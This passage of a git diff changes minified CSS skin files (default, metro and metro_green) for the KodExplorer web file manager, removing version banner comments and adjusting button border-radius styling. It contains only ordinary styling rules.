\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac.png',sizingMethod='scale');}body .x-folder.small{background-image:url("../../images/file_icon/icon_others/folder_mac_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac_small.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_mac_small.png',sizingMethod='scale');}body .file-continer .x-folder.small{margin-top:-1px;}body .topbar{background:#f1f1f1;}body .topbar .content{border-bottom:1px solid #ddd;}body .topbar .content .topbar-menu{color:#444;border-color:#dddddd;}body .topbar .content .share-title,body .topbar .content .share-info,body .topbar .content .share-info .time{color:#666;}body .topbar .content .top-right div.share-info-user{color:#666;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this{background:#e2e2e2;}body .aui-buttons{padding:10px;border-top:1px solid #eee;border-radius:0px 0px 5px 5px;}body .aui-buttons button{margin-left:15px;padding:5px 1.6em;border-radius:3px;height:auto;color:#333;border:solid 1px #ccc;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);text-shadow:0px 1px 1px #ffffff;box-shadow:0 1px 0 rgba(255,255,255,0.7), 0 -1px 0 rgba(0,0,0,0.09);}body .aui-buttons button:focus{outline:none 0;box-shadow:0 0 8px rgba(0,0,0,0.2);}body .aui-buttons button:hover{color:#000;border-color:#aaa;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#dddddd');background-image:-webkit-linear-gradient(top,#fff,#ddd);background-image:-moz-linear-gradient(top,#fff,#ddd);background-image:-o-linear-gradient(top,#fff,#ddd);background-image:-ms-linear-gradient(top,#fff,#ddd);background-image:linear-gradient(top,#fff,#ddd);-pie-background:linear-gradient(to top,#fff,#ddd);}body .aui-buttons button:active{border-color:#aaa;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#dddddd', endColorstr='#ffffff');background-image:-webkit-linear-gradient(top,#ddd,#fff);background-image:-moz-linear-gradient(top,#ddd,#fff);background-image:-o-linear-gradient(top,#ddd,#fff);background-image:-ms-linear-gradient(top,#ddd,#fff);background-image:linear-gradient(top,#ddd,#fff);-pie-background:linear-gradient(to top,#ddd,#fff);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}body .aui-buttons button[disabled]{cursor:default;color:#666;background:#DDD;border:solid 1px #999;opacity:0.5;filter:alpha(opacity=50);box-shadow:none;}body .aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}body .aui-buttons button.aui-state-highlight{color:#fff;border:solid 1px #6091FF;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);text-shadow:-1px -1px 1px #6091FF;}body .aui-buttons button.aui-state-highlight:hover{color:#fff;border-color:#145cff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);}body .aui-buttons button.aui-state-highlight:active{border-color:#6091FF;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);}body .aui-outer{border-radius:5px;border:1px solid #ccc;-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;box-shadow:0 0px 30px rgba(0,0,0,0.2);}body .aui-outer .aui-border{border-radius:5px;}body .aui-outer .aui-header{border-radius:5px 5px 0 0;overflow:hidden;}body .aui-outer .aui-dialog{background:#fff;border-radius:5px;}body .aui-outer .aui-dialog .aui-main{border-radius:5px;}body .aui-title{height:27px;line-height:27px;padding:0 16px 0 0px;color:#aaa;background:#f0f0f0;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#dddddd');background-image:-webkit-linear-gradient(top,#f3f3f3,#ddd);background-image:-moz-linear-gradient(top,#f3f3f3,#ddd);background-image:-o-linear-gradient(top,#f3f3f3,#ddd);background-image:-ms-linear-gradient(top,#f3f3f3,#ddd);background-image:linear-gradient(top,#f3f3f3,#ddd);-pie-background:linear-gradient(to top,#f3f3f3,#ddd);border-bottom:1px solid #ccc;text-shadow:0 1px 0 #eee;text-align:center;bottom:0px;height:28px;}body .aui-title img{width:18px;}body .aui-state-focus .aui-title{color:#444;}body .aui-state-focus .aui-outer{box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #b6b6b6;}body .aui-state-lock .aui-outer{box-shadow:0 3px 30px rgba(0,0,0,0.4);}body .aui-min{right:67px;}body .aui-max{right:40px;}body .aui-close{right:13px;}body .aui-min,body .aui-max,body .aui-close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:inherit;-moz-transition:inherit;-o-transition:inherit;-ms-transition:inherit;transition:inherit;color:#aaa;top:4px;border:1px solid #bbb;border-radius:10px;height:18px;width:18px;font-size:1em;line-height:18px;text-align:center;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#bbbbbb');background-image:-webkit-linear-gradient(top,#eee,#bbb);background-image:-moz-linear-gradient(top,#eee,#bbb);background-image:-o-linear-gradient(top,#eee,#bbb);background-image:-ms-linear-gradient(top,#eee,#bbb);background-image:linear-gradient(top,#eee,#bbb);-pie-background:linear-gradient(to top,#eee,#bbb);font-family:FontAwesome;}body .aui-min:hover,body .aui-max:hover,body .aui-close:hover{box-shadow:0 1px 0 rgba(255,255,255,0.3), inset 0 1px 2px rgba(255,255,255,0.3);}body .aui-min:active,body .aui-max:active,body .aui-close:active{box-shadow:none;color:#fff !important;}body .aui-close:hover{border:1px solid #c00;color:#800000;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff1a1a', endColorstr='#cc0000');background-image:-webkit-linear-gradient(top,#ff1a1a,#c00);background-image:-moz-linear-gradient(top,#ff1a1a,#c00);background-image:-o-linear-gradient(top,#ff1a1a,#c00);background-image:-ms-linear-gradient(top,#ff1a1a,#c00);background-image:linear-gradient(top,#ff1a1a,#c00);-pie-background:linear-gradient(to top,#ff1a1a,#c00);}body .aui-min:hover{border:1px solid #EAB11E;color:#ab8010;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f1c964', endColorstr='#eab11e');background-image:-webkit-linear-gradient(top,#f1c964,#EAB11E);background-image:-moz-linear-gradient(top,#f1c964,#EAB11E);background-image:-o-linear-gradient(top,#f1c964,#EAB11E);background-image:-ms-linear-gradient(top,#f1c964,#EAB11E);background-image:linear-gradient(top,#f1c964,#EAB11E);-pie-background:linear-gradient(to top,#f1c964,#EAB11E);}body .aui-max:hover{border:1px solid #169A1B;color:#0c570f;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#20dd27', endColorstr='#169a1b');background-image:-webkit-linear-gradient(top,#20dd27,#169A1B);background-image:-moz-linear-gradient(top,#20dd27,#169A1B);background-image:-o-linear-gradient(top,#20dd27,#169A1B);background-image:-ms-linear-gradient(top,#20dd27,#169A1B);background-image:linear-gradient(top,#20dd27,#169A1B);-pie-background:linear-gradient(to top,#20dd27,#169A1B);}body .aui-max,body .aui-min{display:none;}body div.dialog-simple .aui-title{text-align:left;}body div.dialog-simple .aui-min{right:67px;}body div.dialog-simple .aui-max{right:40px;}body div.dialog-simple .aui-close{right:13px;}body div.dialog-simple .aui-max,body div.dialog-simple .aui-min,body div.dialog-simple .aui-close{background:rgba(255,255,255,0.3);}body .check-version-dialog.dialog-simple .aui-title-bar{margin-top:-120px;}body .dialog-no-title.aui-state-focus .aui-outer,body .dialog-no-title .aui-outer,body .dialog-no-title .aui-inner{border:none;}body#page-desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page-desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page-desktop .topbar .content .topbar-menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page-desktop .topbar .content .top-right div.share-info-user{color:#fff;}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(255,255,255,0.3);}body#page-desktop .file-list-icon .file .filename{margin-top:6px;line-height:1.7em;padding-top:1px;border-radius:18px;background:rgba(0,0,0,0.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;}body#page-desktop .file-list-icon .file .filename .title{display:block;overflow:hidden;white-space:nowrap;}body#page-desktop .file-list-icon .file .filename .textarea{margin-left:-1px;}body#page-desktop .file-list-icon .file.file-icon-edit.select .filename,body#page-desktop .file-list-icon .file.file-icon-edit .filename{background:none;}body#page-desktop .file-list-icon .file.select .filename,body#page-desktop .file-list-icon .file.file-select-drag-temp .filename,body#page-desktop .file-list-icon .file.select.hover .filename{background:rgba(0,0,0,0.2);border:none;margin-left:0px;}body .ztree li a{color:#444;border-radius:3px;margin:0 4px 0 4px;}body .file-list-icon .file{color:#444;}body .file-select{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-list-list .file,body .file-list-split .file{color:#444;-webkit-transition:all 0.15;-moz-transition:all 0.15;-o-transition:all 0.15;-ms-transition:all 0.15;transition:all 0.15;border-radius:0px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;}body .file-list-list .file.select,body .file-list-list .file.file-select-drag-temp,body .file-list-split .file.select,body .file-list-split .file.file-select-drag-temp{background:#63acff;border-color:transparent;color:#fff;filter:none;border-bottom:1px solid #7dbaff !important;}body .file-list-list .file.select .children-open i.font-icon,body .file-list-list .file.file-select-drag-temp .children-open i.font-icon,body .file-list-split .file.select .children-open i.font-icon,body .file-list-split .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body .file-list-list .file.select .children-more i.font-icon,body .file-list-list .file.file-select-drag-temp .children-more i.font-icon,body .file-list-split .file.select .children-more i.font-icon,body .file-list-split .file.file-select-drag-temp .children-more i.font-icon{color:#fff !important;}body .file-list-list .file.hover,body .file-list-split .file.hover{background:#c9e2ff;border-color:transparent;}body .file-list-list .file.hover.select,body .file-list-list .file.hover .file-select-drag-temp,body .file-list-split .file.hover.select,body .file-list-split .file.hover .file-select-drag-temp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file-list-list .file.hover.select .children-open i.font-icon,body .file-list-list .file.hover .file-select-drag-temp .children-open i.font-icon,body .file-list-split .file.hover.select .children-open i.font-icon,body .file-list-split .file.hover .file-select-drag-temp .children-open i.font-icon{color:#fff;}body .file-list-list .file.file2{background:#f6f6f6;}body .file-list-list .file.file2.hover{background:#e3f0ff;border-color:transparent;}body .file-list-list .file.file2.hover.select,body .file-list-list .file.file2.hover .file-select-drag-temp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file-list-list .file.file2.hover.select .children-open i.font-icon,body .file-list-list .file.file2.hover .file-select-drag-temp .children-open i.font-icon{color:#fff;}body .file-list-list .file.file2.select,body .file-list-list .file.file2.file-select-drag-temp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file-list-list .file.file2.select .children-open i.font-icon,body .file-list-list .file.file2.file-select-drag-temp .children-open i.font-icon{color:#fff;}body .file-continer .file .item-menu,body .ztree li a .menu-item{border-radius:2px;}body #body .menu-left .setting a:hover{background:#e1efff;}body #body .menu-left .setting a.selected{background:#e1efff;color:#63acff;padding-left:10px;border:none;border-right:5px solid #63acff;} \ No newline at end of file diff --git a/static/style/skin/metro.css b/static/style/skin/metro.css index 2174967..735f2a1 100755 --- a/static/style/skin/metro.css +++ b/static/style/skin/metro.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.7662] */ -body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#4267b2;color:#fff;}body#page-desktop .topbar{background-color:rgba(66,103,178,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(66,103,178,0.3);}body .topbar{background:#4267b2;}body .topbar .content .topbar-menu{border-color:#5074be;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#5074be;border-color:#5074be;}body .aui-outer{border:0px solid #ccc;*border:1px solid #486ebb;border:1px solid #486ebb \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#4267b2;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#4267b2;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#5074be;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#7591cc;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#6283c5;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#7591cc;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #192642;background-color:#4267b2;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #5074be !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#3b5c9f;}body #body .menu-left,body #body .app-menu-left{background:#3b5c9f;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#486ebb;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#5074be;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#4267b2;}body #body .main .nav a:hover{background:#ddd;color:#4267b2;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#4267b2;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 4.25(2017-12-04) [build 1512368389.7662] */ \ No newline at end of file +body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn,body .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#4267b2;color:#fff;}body#page-desktop .topbar{background-color:rgba(66,103,178,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(66,103,178,0.3);}body .topbar{background:#4267b2;}body .topbar .content .topbar-menu{border-color:#5074be;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#5074be;border-color:#5074be;}body .aui-outer{border:0px solid #ccc;*border:1px solid #486ebb;border:1px solid #486ebb \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#4267b2;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#4267b2;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#5074be;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#7591cc;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#6283c5;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#7591cc;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #192642;background-color:#4267b2;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer .file.hover.select,body div.file-continer .file.hover.file-select-drag-temp{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.hover.select .children-open i.font-icon,body div.file-continer .file.hover.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer .file.select.file2,body div.file-continer .file.file-select-drag-temp.file2{background:#4267b2;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select.file2 .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp.file2 .children-open i.font-icon{color:#fff;}body div.file-continer.file-list-split .file.select,body div.file-continer.file-list-split .file.file-select-drag-temp,body div.file-continer.file-list-list .file.select,body div.file-continer.file-list-list .file.file-select-drag-temp{border-bottom:1px solid #5074be !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#3b5c9f;}body #body .menu-left,body #body .app-menu-left{background:#3b5c9f;}body #body .menu-left h1,body #body .app-menu-left h1{color:#fff;font-weight:400;}body #body .menu-left .setting a,body #body .app-menu-left .setting a{color:#fff;}body #body .menu-left .setting a:hover,body #body .app-menu-left .setting a:hover{background:#486ebb;}body #body .menu-left .setting a.selected,body #body .app-menu-left .setting a.selected{background:#5074be;border-color:#fff;color:#fff;}body #body .menu-left .line,body #body .app-menu-left .line{color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);}body #body .main .list{border-radius:0;}body #body .main .nav{border-color:#4267b2;}body #body .main .nav a:hover{background:#ddd;color:#4267b2;}body #body .main .nav a.this,body #body .main .nav a.this:hover{background:#4267b2;}body .edit-tab .tabs{border-bottom:1px solid #ddd;}body .edit-tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit-tab .tabs .tab.hover{background:#eee;}body .edit-tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit-tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit-tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit-tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit-tab .tabs .edit-changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit-tab .tabs .tab.this.edit-changed a.close{color:#fff;}body .edit-tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} \ No newline at end of file diff --git a/static/style/skin/metro_green.css b/static/style/skin/metro_green.css index b3ad537..b14e68e 100755 --- a/static/style/skin/metro_green.css +++ b/static/style/skin/metro_green.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368389.812] */ -body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#0c884f;color:#fff;}body#page-desktop .topbar{background-color:rgba(12,136,79,0.5);}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(12,136,79,0.3);}body .topbar{background:#0c884f;}body .topbar .content .topbar-menu{border-color:#0e9f5d;}body .topbar .content .open .topbar-menu,body .topbar .content .topbar-menu:hover,body .topbar .content .topbar-menu.this,body .topbar .content .top-right ul a.this{background:#0e9f5d;border-color:#0e9f5d;}body .aui-outer{border:0px solid #ccc;*border:1px solid #0d9658;border:1px solid #0d9658 \0/IE9;}body .aui-outer .aui-state-focus .aui-title,body .aui-outer .aui-title{background:#0c884f;}body .aui-outer .aui-buttons button.aui-state-highlight{background:#0c884f;}body .aui-outer .aui-buttons button.aui-state-highlight:hover{background:#0e9f5d;}body .aui-outer .aui-buttons button.aui-state-highlight:active{background:#12ce79;}body .aui-outer .aui-min:hover,body .aui-outer .aui-max:hover{background:#10b76b;}body .aui-outer .aui-min:active,body .aui-outer .aui-max:active{background:#12ce79;}body div.dialog-simple .aui-title{border-radius:0;}body .select-container{border:1px solid #000000;background-color:#0c884f;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children-open i.font-icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children-open i.font-icon{color:#fff;}body .frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-radius:0;}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{color:#3ec3ff !important;}body .file-select{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file-select .children-open i.font-icon{color:#fff;}body .file-hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.file2{background:none;}body div.file-continer.file-list-split .file.select-split-parent{background:#e3f0ff;}body div.file-continer.file-list-split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer.file-list-split .file.select.select-split-parent .children-open i.font-icon{color:#fff;}body div.file-continer .file.file2{background:#fff8e8;}body div.file-continer .file.select,body div.file-continer .file.file-select-drag-temp{background:#0c884f;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.file-continer .file.select .children-open i.font-icon,body div.file-continer .file.file-select-drag-temp .children-open i.font-icon{color:#fff;}body div.file-continer 